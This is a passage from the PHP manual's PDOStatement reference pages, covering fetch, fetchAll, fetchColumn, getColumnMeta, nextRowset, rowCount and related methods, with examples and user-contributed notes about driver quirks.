    { bbnf_pdo_error($e,__FILE__,__LINE__); }
if ( $r = $req->fetch() )
    { echo "This query has a row result"; }
else
    { echo "This query has an empty result"; }
?>
marcini 02-Apr-2007 04:41
Be careful with fetch() when you use prepared statements and MySQL (I don`t know how it is with other databases). Fetch won`t close cursor and won`t let you send any other query, even if your result set has only one row, .
If you use $statement->fetch(), you will also have to use $statement->closeCursor() afterwards, to be albe to execute another query.
Alternatively you can use $statement->fetchAll() without $statement->closeCursor().
terry at bitsoup dot com 02-Mar-2006 12:46
WARNING:
fetch() does NOT adhere to SQL-92 SQLSTATE standard when dealing with empty datasets.

Instead of setting the errorcode class to 20 to indicate "no data found", it returns a class of 00 indicating success, and returns NULL to the caller.

This also prevents the exception mechainsm from firing.

Programmers will need to explicitly code tests for empty resultsets after any fetch*() instead of relying on the default behavior of the RDBMS.

I tried logging this as a bug, but it was dismissed as "working as intended". Just a head's up.
avinoamr at gmail dot com 19-Jan-2006 02:48
Note that using the FETCH_CLASS mechanism does NOT trigger the class's constructor! You must explicity instantiate the class to use it's constructor behavior.
fh at ez dot no 25-Nov-2005 12:13
I can also add that the constructor is run _after_ the data is set on the object if yo use PDO::FETCH_CLASS.
fh at ez dot no 24-Nov-2005 11:58
If you want to use PDO::FETCH_CLASS you need to set it up with setFetchMode first like so:
        $stmt->setFetchMode( PDO::FETCH_CLASS, 'classType', array( 'parameters to constructor' );
        $object = $stmt->fetch( PDO::FETCH_CLASS );
If you ommit this PHP will segfault.
aledmb at gmail dot com 21-Oct-2005 10:22
note that fetch constants are not included in the PDO class for PHP versions prior to 5.1
PDOStatement::execute
PDOStatement::fetchAll
PDOStatement


Returns an array containing all of the result set rows

PDOStatement::fetch
PDOStatement::fetchColumn
PDOStatement
PHP Manual

PDOStatement::fetchAll

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::fetchAll — Returns an array containing all of the result set rows

Description

array PDOStatement::fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] )

Parameters

fetch_style

Controls the contents of the returned array as documented in
PDOStatement::fetch().
Defaults to value of PDO::ATTR_DEFAULT_FETCH_MODE
(which defaults to PDO::FETCH_BOTH)

To return an array consisting of all values of a single column from the result set, specify PDO::FETCH_COLUMN. You can specify which column you want with the column-index parameter.

To fetch only the unique values of a single column from the result set, bitwise-OR PDO::FETCH_COLUMN with PDO::FETCH_UNIQUE.

To return an associative array grouped by the values of a specified column, bitwise-OR PDO::FETCH_COLUMN with PDO::FETCH_GROUP.

fetch_argument

This argument have a different meaning depending on the value of the fetch_style parameter:

  • PDO::FETCH_COLUMN: Returns the indicated 0-indexed column.

  • PDO::FETCH_CLASS: Returns instances of the specified class, mapping the columns of each row to named properties in the class.

  • PDO::FETCH_FUNC: Returns the results of calling the specified function, using each row's columns as parameters in the call.

ctor_args

Arguments of custom class constructor when the fetch_style parameter is PDO::FETCH_CLASS.

Return Values

PDOStatement::fetchAll() returns an array containing all of the remaining rows in the result set. The array represents each row as either an array of column values or an object with properties corresponding to each column name.

Using this method to fetch large result sets will result in a heavy demand on system and possibly network resources. Rather than retrieving all of the data and manipulating it in PHP, consider using the database server to manipulate the result sets. For example, use the WHERE and ORDER BY clauses in SQL to restrict results before retrieving and processing them with PHP.

Examples

Example #1 Fetch all remaining rows in a result set

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the remaining rows in the result set */
print("Fetch all of the remaining rows in the result set:\n");
$result = $sth->fetchAll();
print_r($result);
?>

The above example will output something similar to:

Fetch all of the remaining rows in the result set:
Array
(
    [0] => Array
        (
            [NAME] => pear
            [0] => pear
            [COLOUR] => green
            [1] => green
        )

    [1] => Array
        (
            [NAME] => watermelon
            [0] => watermelon
            [COLOUR] => pink
            [1] => pink
        )

)

Example #2 Fetching all values of a single column from a result set

The following example demonstrates how to return all of the values of a single column from a result set, even though the SQL statement itself may return multiple columns per row.

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the values of the first column */
$result = $sth->fetchAll(PDO::FETCH_COLUMN, 0);
var_dump($result);
?>

The above example will output something similar to:

Array(3)
(
    [0] =>
    string(5) => apple
    [1] =>
    string(4) => pear
    [2] =>
    string(10) => watermelon
)

Example #3 Grouping all values by a single column

The following example demonstrates how to return an associative array grouped by the values of the specified column in the result set. The array contains three keys: values apple and pear are returned as arrays that contain two different colours, while watermelon is returned as an array that contains only one colour.

<?php
$insert = $dbh->prepare("INSERT INTO fruit(name, colour) VALUES (?, ?)");
$insert->execute(array('apple', 'green'));
$insert->execute(array('pear', 'yellow'));

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Group values by the first column */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>

The above example will output something similar to:

array(3) {
  ["apple"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(3) "red"
  }
  ["pear"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(6) "yellow"
  }
  ["watermelon"]=>
  array(1) {
    [0]=>
    string(5) "green"
  }
}

Example #4 Instantiating a class for each result

The following example demonstrates the behaviour of the PDO::FETCH_CLASS fetch style.

<?php
class fruit {
    public $name;
    public $colour;
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_CLASS, "fruit");
var_dump($result);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  object(fruit)#1 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(5) "green"
  }
  [1]=>
  object(fruit)#2 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(6) "yellow"
  }
  [2]=>
  object(fruit)#3 (2) {
    ["name"]=>
    string(10) "watermelon"
    ["colour"]=>
    string(4) "pink"
  }
}

Example #5 Calling a function for each result

The following example demonstrates the behaviour of the PDO::FETCH_FUNC fetch style.

<?php
function fruit($name, $colour) {
    return "{$name}: {$colour}";
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_FUNC, "fruit");
var_dump($result);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(12) "apple: green"
  [1]=>
  string(12) "pear: yellow"
  [2]=>
  string(16) "watermelon: pink"
}

See Also

  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set
  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::setFetchMode() - Set the default fetch mode for this statement

User Contributed Notes

Hayley Watson 04-Jul-2011 04:48
If you use the PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE flags to map columns to object properties, fetchAll() will use any __set() method your object has when carrying out the mapping.
Anonymous 25-Jun-2011 02:10
Note that fetchAll() can be extremely memory inefficient for large data sets. My memory limit was set to 160 MB this is what happened when I tried:

<?php
$arr = $stmt->fetchAll();
// Fatal error: Allowed memory size of 16777216 bytes exhausted
?>

If you are going to loop through the output array of fetchAll(), instead use fetch() to minimize memory usage as follows:

<?php
while ($arr = $stmt->fetch()) {
    echo round(memory_get_usage() / (1024*1024),3) .' MB<br />';
    // do_other_stuff();
}
// Last line for the same query shows only 28.973 MB usage
?>
Dennis 10-Jun-2010 08:51
Error:
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute.

If you're using something like:

while ($row = $query->fetchObject()) {
    [...]
}

try using this instead:

$rows = $query->fetchAll(PDO::FETCH_CLASS, 'ArrayObject');

foreach ($rows as $row) {
    [...]
}
esw at pixeloution dot removeme dot com 18-May-2010 09:17
Interestingly enough, when you use fetchAll, the constructor for your object is called AFTER the properties are assigned. For example:

<?php
class person {
    public $name;

    function __construct() {
       $this->name = $this->name . " is my name.";
    }
}

# set up select from a database here with PDO
$obj = $STH->fetchALL(PDO::FETCH_CLASS, 'person');
?>

Will result in ' is my name' being appended to all the name columns. However if you call it slightly differently:

<?php
$obj = $obj = $STH->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'person');
?>

Then the constructor will be called before properties are assigned. I can't find this documented anywhere, so I thought it would be nice to add a note here.
mxrgus 23-Oct-2009 04:22
In method body:

return $pstmt->fetchAll() or die("bad");

will not return correct value, but "1" instead.
Daniel Hofmann 05-May-2009 12:21
PLEASE BE AWARE: If you do an OUTER LEFT JOIN and set PDO FetchALL to PDO::FETCH_ASSOC, any primary key you used in the OUTER LEFT JOIN will be set to a blank if there are no records returned in the JOIN.

For example:
<?php
//query the product table and join to the image table and return any images, if we have any, for each product
$sql = "SELECT * FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] =>
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...

The fix is to simply specify your field names in the SELECT clause instead of using the * as a wild card, or, you can also specify the field in addition to the *. The following example returns the product_id field correctly:

<?php
$sql = "SELECT *, product.product_id FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] => 3
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...
Ant P. 03-Feb-2009 06:37
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key:
<?php
// $stmt is some query like "SELECT rowid, username, comment"
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);

// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);

// ...but you can at least strip the useless numbered array out easily:
$results = array_map('reset', $results);
?>
davey at php dot net 02-Nov-2008 06:54
When passing PDO::FETCH_CLASS as the first argument, this method will accept the class name as the second option:

<?php
$query = $pdo->prepare($sql);

$result = $query->execute($values);

if ($result && $query->rowCount() > 0) {
    $records = $query->fetchAll(PDO::FETCH_CLASS, 'Some_Class');
    // $record is now an array of Some_Class objects
}
?>

- Davey
mrshelly at hotmail dot com 30-Oct-2008 07:27
PHP fetchAll Data From SQL Server 2005
if field's data type is varchar(nvarchar), only fetch 255 chars. but the "text" data type is ok.

so, notice! to change the 'varchar' or 'nvarchar' (length > 255) to 'text' data type..

hope to help u.

<?php

$user = 'sa';
$pass = 'pass';

$conn = new PDO('mssql:host=127.0.0.1; dbname=tempdb;', $user, $pass);

$mainSQL = "SELECT field_varchar, field_text FROM table1";
$sth = $conn->prepare($mainSQL);
$sth->setFetchMode(PDO::FETCH_ASSOC);
$sth->execute();
$retRows = $sth->fetchAll();
// the field_varchar field only to fetch 255 chars(max)
// the field_text is ok.

var_dump($retRows);

unset($sth); unset($conn);

?>
harlequin2 at gmx dot de 10-Jun-2008 05:01
There is also another fetch mode supported on Oracle and MSSQL:
PDO::FETCH_ASSOC

> fetches only column names and omits the numeric index.

If you would like to return all columns from an sql statement with column keys as table headers, it's as simple as this:

<?php
$dbh = new PDO("DS", "USERNAME", "PASSWORD");
$stmt = $dbh->prepare("SELECT * FROM tablename");
$stmt->execute();
$arrValues = $stmt->fetchAll(PDO::FETCH_ASSOC);
// open the table
print "<table wdith=\"100%\">\n";
print "<tr>\n";
// add the table headers
foreach ($arrValues[0] as $key => $useless){
    print "<th>$key</th>";
}
print "</tr>";
// display data
foreach ($arrValues as $row){
    print "<tr>";
    foreach ($row as $key => $val){
        print "<td>$val</td>";
    }
    print "</tr>\n";
}
// close the table
print "</table>\n";
?>
Anonymous 01-Jan-2008 11:13
If no rows have been returned, fetchAll returns an empty array.
stas at metalinfo dot ru 18-Oct-2006 06:37
Note, that you can use PDO::FETCH_COLUMN|PDO::FETCH_GROUP pair only while selecting two columns, not like DB_common::getAssoc(), when grouping is set to true.
PDOStatement::fetch
PDOStatement::fetchColumn
PDOStatement


Returns a single column from the next row of a result set

PDOStatement::fetchAll
PDOStatement::fetchObject
PDOStatement
PHP Manual

PDOStatement::fetchColumn

(PHP 5 >= 5.1.0, PECL pdo >= 0.9.0)

PDOStatement::fetchColumn — Returns a single column from the next row of a result set

Description

string PDOStatement::fetchColumn ([ int $column_number = 0 ] )

Returns a single column from the next row of a result set or FALSE if there are no more rows.

Parameters

column_number

0-indexed number of the column you wish to retrieve from the row. If no value is supplied, PDOStatement::fetchColumn() fetches the first column.

Return Values

PDOStatement::fetchColumn() returns a single column in the next row of a result set.

Warning

There is no way to return another column from the same row if you use PDOStatement::fetchColumn() to retrieve data.

Examples

Example #1 Return first column of the next row

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch the first column from the next row in the result set */
print("Fetch the first column from the next row in the result set:\n");
$result = $sth->fetchColumn();
print("name = $result\n");

print("Fetch the second column from the next row in the result set:\n");
$result = $sth->fetchColumn(1);
print("colour = $result\n");
?>

The above example will output:

Fetch the first column from the next row in the result set:
name = lemon
Fetch the second column from the next row in the result set:
colour = red

See Also

  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::setFetchMode() - Set the default fetch mode for this statement

User Contributed Notes

PhoneixSegovia at GOOGLE_MAIL_SERVER dot com 21-Oct-2010 02:13
fetchColumn return boolean false when a row not is found or don't had more rows.
seanferd at assmasterdonkeyranch dot com 25-Jan-2007 03:04
This is an excellent method for returning a column count. For example:

<?php
$db = new PDO('mysql:host=localhost;dbname=pictures','user','password');
$pics = $db->query('SELECT COUNT(id) FROM pics');
$this->totalpics = $pics->fetchColumn();
$db = null;
?>
In my case $pics->fetchColumn() returns 641 because that is how many pictures I have in my db.
PDOStatement::fetchAll
PDOStatement::fetchObject
PDOStatement


Fetches the next row and returns it as an object.

PDOStatement::fetchColumn
PDOStatement::getAttribute
PDOStatement
PHP Manual

PDOStatement::fetchObject

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.4)

PDOStatement::fetchObject — Fetches the next row and returns it as an object.

Description

mixed PDOStatement::fetchObject ([ string $class_name = "stdClass" [, array $ctor_args ]] )

Fetches the next row and returns it as an object. This function is an
alternative to PDOStatement::fetch() with
PDO::FETCH_CLASS or
PDO::FETCH_OBJ style.

Parameters

class_name

Name of the created class.

ctor_args

Elements of this array are passed to the constructor.

Return Values

Returns an instance of the required class with property names that correspond to the column names or FALSE on failure.

See Also

  • PDOStatement::fetch() - Fetches the next row from a result set

User Contributed Notes

There are no user contributed notes for this page.
PDOStatement::fetchColumn
PDOStatement::getAttribute
PDOStatement


Retrieve a statement attribute

PDOStatement::fetchObject
PDOStatement::getColumnMeta
PDOStatement
PHP Manual

PDOStatement::getAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::getAttribute — Retrieve a statement attribute

Description

mixed PDOStatement::getAttribute ( int $attribute )

Gets an attribute of the statement. Currently, no generic attributes exist but only driver specific:

  • PDO::ATTR_CURSOR_NAME (Firebird and ODBC specific): Get the name of cursor for UPDATE ... WHERE CURRENT OF.

Return Values

Returns the attribute value.

See Also

  • PDO::getAttribute() - Retrieve a database connection attribute
  • PDO::setAttribute() - Set an attribute
  • PDOStatement::setAttribute() - Set a statement attribute

User Contributed Notes

There are no user contributed notes for this page.
PDOStatement::fetchObject
PDOStatement::getColumnMeta
PDOStatement


Returns metadata for a column in a result set

PDOStatement::getAttribute
PDOStatement::nextRowset
PDOStatement
PHP Manual

PDOStatement::getColumnMeta

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::getColumnMeta — Returns metadata for a column in a result set

Description

array PDOStatement::getColumnMeta ( int $column )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Retrieves the metadata for a 0-indexed column in a result set as an associative array.

Warning

Not all PDO drivers support PDOStatement::getColumnMeta().

Parameters

column

The 0-indexed column in the result set.

Return Values

Returns an associative array containing the following values representing the metadata for a single column:

Column metadata
Name | Value
native_type | The PHP native type used to represent the column value.
driver:decl_type | The SQL type used to represent the column value in the database. If the column in the result set is the result of a function, this value is not returned by PDOStatement::getColumnMeta().
flags | Any flags set for this column.
name | The name of this column as returned by the database.
table | The name of this column's table as returned by the database.
len | The length of this column. Normally -1 for types other than floating point decimals.
precision | The numeric precision of this column. Normally 0 for types other than floating point decimals.
pdo_type | The type of this column as represented by the PDO::PARAM_* constants.

Returns FALSE if the requested column does not exist in the result set, or if no result set exists.

Changelog

Version | Description
5.2.3 | table field

Examples

Example #1 Retrieving column metadata

The following example shows the results of retrieving the metadata for a single column generated by a function (COUNT) in a PDO_SQLITE driver.

<?php
$select = $DB->query('SELECT COUNT(*) FROM fruit');
$meta = $select->getColumnMeta(0);
var_dump($meta);
?>

The above example will output:

array(6) {
  ["native_type"]=>
  string(7) "integer"
  ["flags"]=>
  array(0) {
  }
  ["name"]=>
  string(8) "COUNT(*)"
  ["len"]=>
  int(-1)
  ["precision"]=>
  int(0)
  ["pdo_type"]=>
  int(2)
}

See Also

  • PDOStatement::columnCount() - Returns the number of columns in the result set
  • PDOStatement::rowCount() - Returns the number of rows affected by the last SQL statement

User Contributed Notes

colin at fusionbox dot com 23-Jan-2009 10:38
This method is supported in the MySQL 5.0+ driver.  It can be used for object hydration:

<?php

$pdo_stmt = $dbh->execute('SELECT discussion.id, discussion.text, comment.id, comment.text FROM discussions LEFT JOIN comments ON comment.discussion_id = discussion.id');

foreach(range(0, $pdo_stmt->columnCount() - 1) as $column_index)
{
  $meta[] = $pdo_stmt->getColumnMeta($column_index);
}

while($row = $pdo_stmt->fetch(PDO::FETCH_NUM))
{
  foreach($row as $column_index => $column_value)
  {
    //do something with the data, using the ids to establish the discussion.has_many(comments) relationship.
  }
}

?>

If you are building an ORM, this method is very useful to support more natural SQL syntax.  Most ORMs require the column names to be aliases so that they can be parsed and turned into objects that properly represent has_one, has_many, many_to_many relationships.
asohn aircanopy net 29-Feb-2008 09:21
I found a short discussion related to this function at
http://www.sitepoint.com/forums/showthread.php?t=497257

I haven't tried it (yet?) but hopefully someone can find it useful.
PDOStatement::getAttribute
PDOStatement::nextRowset
PDOStatement


Advances to the next rowset in a multi-rowset statement handle

PDOStatement::getColumnMeta
PDOStatement::rowCount
PDOStatement
PHP Manual

PDOStatement::nextRowset

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::nextRowset — Advances to the next rowset in a multi-rowset statement handle

Description

bool PDOStatement::nextRowset ( void )

Some database servers support stored procedures that return more than one rowset (also known as a result set). PDOStatement::nextRowset() enables you to access the second and subsequent rowsets associated with a PDOStatement object. Each rowset can have a different set of columns from the preceding rowset.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Fetching multiple rowsets returned from a stored procedure

The following example shows how to call a stored procedure, MULTIPLE_ROWSETS, that returns three rowsets. We use a do / while loop to loop over the PDOStatement::nextRowset() method, which returns false and terminates the loop when no more rowsets can be returned.

<?php
$sql = 'CALL multiple_rowsets()';
$stmt = $conn->query($sql);
$i = 1;
do {
    $rowset = $stmt->fetchAll(PDO::FETCH_NUM);
    if ($rowset) {
        printResultSet($rowset, $i);
    }
    $i++;
} while ($stmt->nextRowset());

function printResultSet(&$rowset, $i) {
    print "Result set $i:\n";
    foreach ($rowset as $row) {
        foreach ($row as $col) {
            print $col . "\t";
        }
        print "\n";
    }
    print "\n";
}
?>

The above example will output:

Result set 1:
apple    red
banana   yellow

Result set 2:
orange   orange    150
banana   yellow    175

Result set 3:
lime     green
apple    red
banana   yellow

See Also

  • PDOStatement::columnCount() - Returns the number of columns in the result set
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::getColumnMeta() - Returns metadata for a column in a result set
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object

User Contributed Notes

guilleamathews at gmail dot com 19-Aug-2011 05:41
PDO::nextRowset() does not appear to be currently supported by the Firebird PDO driver. Unfortunate.
PDOStatement::getColumnMeta
PDOStatement::rowCount
PDOStatement


Returns the number of rows affected by the last SQL statement

PDOStatement::nextRowset
PDOStatement::setAttribute
PDOStatement
PHP Manual

PDOStatement::rowCount

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::rowCount — Returns the number of rows affected by the last SQL statement

Description

int PDOStatement::rowCount ( void )

PDOStatement::rowCount() returns the number of rows affected by the last DELETE, INSERT, or UPDATE statement executed by the corresponding PDOStatement object.

If the last SQL statement executed by the associated PDOStatement was a SELECT statement, some databases may return the number of rows returned by that statement. However, this behaviour is not guaranteed for all databases and should not be relied on for portable applications.

Return Values

Returns the number of rows.

Examples

Example #1 Return the number of deleted rows

PDOStatement::rowCount() returns the number of rows affected by a DELETE, INSERT, or UPDATE statement.

<?php
/* Delete all rows from the FRUIT table */
$del = $dbh->prepare('DELETE FROM fruit');
$del->execute();

/* Return number of rows that were deleted */
print("Return number of rows that were deleted:\n");
$count = $del->rowCount();
print("Deleted $count rows.\n");
?>

The above example will output:

Return number of rows that were deleted:
Deleted 9 rows.

Example #2 Counting rows returned by a SELECT statement

For most databases, PDOStatement::rowCount() does not return the number of rows affected by a SELECT statement. Instead, use PDO::query() to issue a SELECT COUNT(*) statement with the same predicates as your intended SELECT statement, then use PDOStatement::fetchColumn() to retrieve the number of rows that will be returned. Your application can then perform the correct action.

<?php
$sql = "SELECT COUNT(*) FROM fruit WHERE calories > 100";
if ($res = $conn->query($sql)) {

    /* Check the number of rows that match the SELECT statement */
  if ($res->fetchColumn() > 0) {

        /* Issue the real SELECT statement and work with the results */
         $sql = "SELECT name FROM fruit WHERE calories > 100";
       foreach ($conn->query($sql) as $row) {
           print "Name: " .  $row['NAME'] . "\n";
         }
    }
    /* No rows matched -- do something else */
  else {
      print "No rows matched the query.";
    }
}

$res = null;
$conn = null;
?>

The above example will output:

apple
banana
orange
pear

See Also

  • PDOStatement::columnCount() - Returns the number of columns in the result set
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object

User Contributed Notes

leandro at marquesini dot com 03-Jan-2012 10:04
To display information only when the query is not empty, I do something like this:

<?php
    $sql = 'SELECT model FROM cars';
    $stmt = $db->prepare($sql);
    $stmt->execute();

    if ($data = $stmt->fetch()) {
        do {
            echo $data['model'] . '<br>';
        } while ($data = $stmt->fetch());
    } else {
        echo 'Empty Query';
    }
?>
dcahh at gmx dot de 19-Aug-2011 06:53
It's pretty obvious, but might save one or the other from bug tracking...

Alltough rowCount ist returned by the statement, one has to execute the statement before rowCount returns any results...

Does not work
<?php
    $statement = $dbh->prepare('SELECT FROM fruit');
    $count = $statement->rowCount();
?>

Works
<?php
    $statement = $dbh->prepare('SELECT FROM fruit');
    $statement->execute();
    $count = $statement->rowCount();
?>
Ome Ko 16-Jul-2011 12:08
When updating a Mysql table with identical values nothing's really affected so rowCount will return 0. As Mr. Perl below noted this is not always preferred behaviour and you can change it yourself since PHP 5.3.

Just create your PDO object with
<? php
$p = new PDO($dsn, $u, $p, array(PDO::MYSQL_ATTR_FOUND_ROWS => true));
?>
and rowCount() will tell you how many rows your update-query actually found/matched.
php at alishabeth dot com 20-Jan-2009 05:15
It appears that rowCount behavior is different on Mysql 5.0 vs 5.1.  Here's the test I ran:

<?php
$db = new PDO('mysql:host=localhost;dbname=test','test','test');
$sql = "SELECT 1";
$st = $db->prepare($sql);
$st->execute();
print_r($st->rowCount());
?>

Mysql 5.0.45, PHP 5.2.5 returned 1

Mysql 5.1.30, PHP 5.1.6 returned 0

I know... I need to test against same php versions... buy I'm getting lazy...
e dot sand at elisand dot com 19-Nov-2008 11:32
My rowCount() workaround & how it's used:

<?php
class MyPDO extends PDO {
    private $queryString;

    public function query(/* ... */) {
        $args = func_get_args();
        $this->queryString = func_get_arg(0);

        return call_user_func_array(array(&$this, 'parent::query'), $args);
    }

    public function rowCount() {
        $regex = '/^SELECT\s+(?:ALL\s+|DISTINCT\s+)?(?:.*?)\s+FROM\s+(.*)$/i';
        if (preg_match($regex, $this->queryString, $output) > 0) {
            $stmt = parent::query("SELECT COUNT(*) FROM {$output[1]}", PDO::FETCH_NUM);

            return $stmt->fetchColumn();
        }

        return false;
    }
}

$pdo = new MyPDO("sqlite::memory:");
$result = $pdo->query("SELECT row1, row2 FROM table WHERE something = 5");

if ($pdo->rowCount() > 0) {
    echo "{$result['row1']}, {$result['row2']}";
}
?>
e dot sand at elisand dot com 19-Nov-2008 11:30
As of SQLite 3.x, the SQLite API itself changed and now all queries are implemented using "statements".  Because of this, there is no way for PDO to know the rowCount of a SELECT result because the SQLite API itself doesn't offer this ability.

As a workaround, I created my own rowCount() function - it's a bit of a hack and hasn't been fully tested yet (I don't know how it will work when using JOINs in SELECTs, etc...), but at least alleviates the necessity for SELECT COUNT(*)'s everywhere in your code.

I would have preferred if it were possible to overload the rowCount() function from PDOStatement, but I don't think it's possible (or I don't know how to do it).  There's also potential room for a bit more security ensuring that $queryString is wiped clean after other query()s so that you don't get a bad result, etc...

The actual code should be posted in the above/below post (max post limits, argh!).  If others wish to extend/perfect this method, please keep me posted with an email as to what you've done.
gunnrosebutpeace at gmail dot com 03-Jun-2008 03:19
It'd better to use SQL_CALC_FOUND_ROWS, if you only use MySQL. It has many advantages as you could retrieve only part of result set (via LIMIT) but still get the total row count.
code:
<?php
$db = new PDO(DSN...);
$db->setAttribute(array(PDO::MYSQL_USE_BUFFERED_QUERY=>TRUE));
$rs  = $db->query('SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 5,15');
$rs1 = $db->query('SELECT FOUND_ROWS()');
$rowCount = (int) $rs1->fetchColumn();
?>
Anonymous 26-Dec-2007 04:10
The rowCount method does not seem to work with pdo_sqlite, maybe because it will not support forward-only cursors:

<?php
error_reporting(E_ALL+E_NOTICE);

$dsn = 'sqlite::memory:';
$pdo = new PDO($dsn);

$pdo->exec('CREATE TABLE foo(id varchar(11) NOT NULL, PRIMARY KEY(id))');
$pdo->exec("INSERT INTO foo(id) VALUES ('ffs')");

$sqlGet = 'SELECT * FROM foo WHERE id=:id';
$stmt = $pdo->prepare($sqlGet);
$id = 'ffs';
$stmt->bindParam(':id', $id, PDO::PARAM_STR);
$stmt->execute();

var_dump($stmt->rowCount(), count($stmt->fetchAll()));
?>

which outputs: 0 1

http://php.net/manual/en/function.sqlite-num-rows.php says sqlite_num_rows() cannot be used on unbuffered results; the explanation to the failure of the rowCount() method is probably along the same lines.
The workaround would be to use the count() function on a fetched result, but it might not be as efficient.
Mr. Perl 14-Nov-2007 07:06
To Matt,

PDO is very similar in design to Perl's DBI which does allow you to set driver specific attributes such as mysql_client_found_rows=1 as part of the DSN.

PDO has a setAttribute() method, but afaik there is no
MYSQL_ATTR_CLIENT_FOUND_ROWS constant (yet). Hopefully some PDO developer will patch it in one day.

Setting that (at least in Perl and C) will make rowCount() return the number of rows selected for the update, not just the number of rows actually updated.
Matt 07-Oct-2007 09:22
Great, while using MySQL5, the only way to get the number of rows after doing a PDO SELECT query is to either execute a separate SELECT COUNT(*) query (or to do count($stmt->fetchAll()), which seems like a ridiculous waste of overhead and programming time.

Another gripe I have about PDO is its inability to get the value of output parameters from stored procedures in some DBMSs, such as SQL Server.

I'm not so sure I'm diggin' PDO yet.
PDOStatement::nextRowset
PDOStatement::setAttribute
PDOStatement


Set a statement attribute

PDOStatement::rowCount
PDOStatement::setFetchMode
PDOStatement
PHP Manual

PDOStatement::setAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::setAttribute — Set a statement attribute

Description

bool PDOStatement::setAttribute ( int $attribute , mixed $value )

Sets an attribute on the statement. Currently, no generic attributes are set but only driver specific:

  • PDO::ATTR_CURSOR_NAME (Firebird and ODBC specific): Set the name of cursor for UPDATE ... WHERE CURRENT OF.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • PDO::getAttribute() - Retrieve a database connection attribute
  • PDO::setAttribute() - Set an attribute
  • PDOStatement::getAttribute() - Retrieve a statement attribute

User Contributed Notes

There are no user contributed notes for this page.
PDOStatement::rowCount
PDOStatement::setFetchMode
PDOStatement


Set the default fetch mode for this statement

PDOStatement::setAttribute
PDOException
PDOStatement
PHP Manual

PDOStatement::setFetchMode

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::setFetchMode — Set the default fetch mode for this statement

Description

bool PDOStatement::setFetchMode ( int $mode )
bool PDOStatement::setFetchMode ( int $PDO::FETCH_COLUMN , int $colno )
bool PDOStatement::setFetchMode ( int $PDO::FETCH_CLASS , string $classname , array $ctorargs )
bool PDOStatement::setFetchMode ( int $PDO::FETCH_INTO , object $object )

Parameters

mode

The fetch mode must be one of the PDO::FETCH_* constants.

colno

Column number.

classname

Class name.

ctorargs

Constructor arguments.

object

Object.

Return Values

Returns 1 on success or FALSE on failure.

Examples

Example #1 Setting the fetch mode

The following example demonstrates how PDOStatement::setFetchMode() changes the default fetch mode for a PDOStatement object.

<?php
$sql = 'SELECT name, colour, calories FROM fruit';
try {
  $stmt = $dbh->query($sql);
  $result = $stmt->setFetchMode(PDO::FETCH_NUM);
  while ($row = $stmt->fetch()) {
